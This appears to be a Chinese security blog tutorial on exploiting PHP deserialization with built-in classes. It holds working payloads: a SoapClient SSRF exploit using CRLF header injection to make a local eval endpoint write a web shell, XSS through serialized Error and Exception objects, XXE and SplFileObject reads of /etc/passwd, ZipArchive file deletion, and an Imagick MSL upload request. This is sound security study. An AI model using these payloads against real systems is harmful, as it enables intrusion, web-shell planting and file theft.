PHP原生类的反序列化利用

如果在代码审计中有反序列化点,但是在原本的代码中找不到可利用的类时,可以考虑使用php中的一些原生类

有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化

SoapClient __call方法进行SSRF

使用前提:

  1. 需要有soap扩展,且不是默认开启,需要手动开启
  2. 需要调用一个不存在的方法触发其__call()函数
  3. 仅限于http/https协议

soap是什么

soap是webServer的三要素之一(SOAP、WSDL、UDDI)
WSDL用来描述如何访问具体的接口
UUDI用来管理、分发、查询webServer
SOAP是连接web服务和客户端的接口

简单地说,SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。

php中的soapClient类

php中的scapClient类可以创建soap数据报文,与wsdl接口进行交互。

用法:

1
2
3
4
5
6
7
8
9
10
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数是用来指明是否是wsdl模式
如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求

如果第一个参数为null,则第二个参数必须设置location和uri
其中location是将请求发送到的SOAP服务器的URL
uri是SOAP服务的目标名称空间

第二个参数允许设置user_agent选项来设置请求的user-agent头

正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法,发出请求

SoapClient发出的请求包的user_agent是完全可控的,结合CRLF注入可以构造一个完全可控的POST请求,因为POST请求最关键的Content-LengthContent-Type都在user_agent之下

如果是GET请求,就简单得多,只需要构造好location就可以了。

需要注意的是,SoapClient只会发出请求,而不会收到响应。

一个例子:
flag.php

1
2
3
4
5
<?php
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
eval($_POST['a']);
}
?>

index.php

1
2
3
4
<?php
$c=unserialize($_GET['a']);
$c->ss();
?>

此时,构造exp.php为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'a=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: aaaa=ssss'
);
$user_agent = 'aaa^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string;
$options = array(
'location' => $target,
'user_agent'=> $user_agent,
'uri'=> "aaab"
);

$b = new SoapClient(null, $options);

$aaa = serialize($b);
$aaa = str_replace('^^', '%0d%0a', $aaa);
$aaa = str_replace('&', '%26', $aaa);
echo $aaa;

?>

__toString方法进行XSS

Error

使用条件:

  • php7版本
  • 开启报错的情况下
    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $a = new Error("<script>alert(1)</script>");
    $b = serialize($a);
    $b = urlencode($b); // 因为有不可见字符,所以url编码一下
    echo $b;

    // 测试
    echo unserialize(urldecode($b));

Exception

使用条件:

  • 适用于php5、7版本
  • 开启报错的情况下
1
2
3
4
5
6
7
8
<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
$b = urlencode($b); // 因为有不可见字符,所以url编码一下
echo $b;

// 测试
echo unserialize(urldecode($b));

实例化任意类

ZipArchive::open 删除文件

使用条件:

  • 要调用对象的额open函数,且open函数中的参数可控
1
2
3
4
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt

GlobIterator 遍历目录

使用条件:

  • 遍历对象
1
2
GlobIterator::__construct(string $pattern, [int $flag])
从使用$pattern构造一个新的目录迭代

使用例子:

1
2
3
$newclass = new GlobIterator("./*.php",0);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';

于此类似的还有DirectoryIteratorFilesystemIterator

1
2
3
4
5
$a = new DirectoryIterator("glob://*.php");
echo $a;

$a = new FilesystemIterator("glob://*");
echo $a;

SimpleXMLElement XXE

用来表示XML文档中的元素
一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

结果为:
object(SimpleXMLElement)#1 (1) {
[0]=>
string(2393) "root:x:0:0:root:/root:/bin/bash
... ..."
}

SplFileObject 读文件、SSRF、Phar反序列化

1
2
3
$a = new SplFileObject("/etc/passwd");
echo $a;
输出内容:root:x:0:0:root:/root:/bin/bash

以上直接读文件只能读取第一行的内容,可以使用php伪协议读取base64后的内容

1
2
$a = new SplFileObject("php://filter/read=convert.base64-encode/resource=/etc/passwd");
echo $a;

SplFileObject参数还可以设置为http协议,用于ssrf;设置为phar,用于phar反序列化。

SQLite3 创建空白文件

前提:需要有sqlite3扩展,且不是默认开启,需要手动开启

1
2
3
<?php
$db = new SQLite3('a.txt');
?>

Imagick类上传文件

需要安装有Imagick扩展
如下:

1
2
3
// test.php
<?php
new $_GET[1]($_GET[2]);
1
2
3
4
5
6
7
8
9
10
11
POST /test.php?1=Imagick&2=vid:msl:/tmp/php* HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----BBB
Content-Length: 199

------BBB
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: image/png

<?php phpinfo();?>
------BBB--

这将会导致php崩溃,上传的文件保留在/tmp目录下。

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/04/02/php/php原生类的利用/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog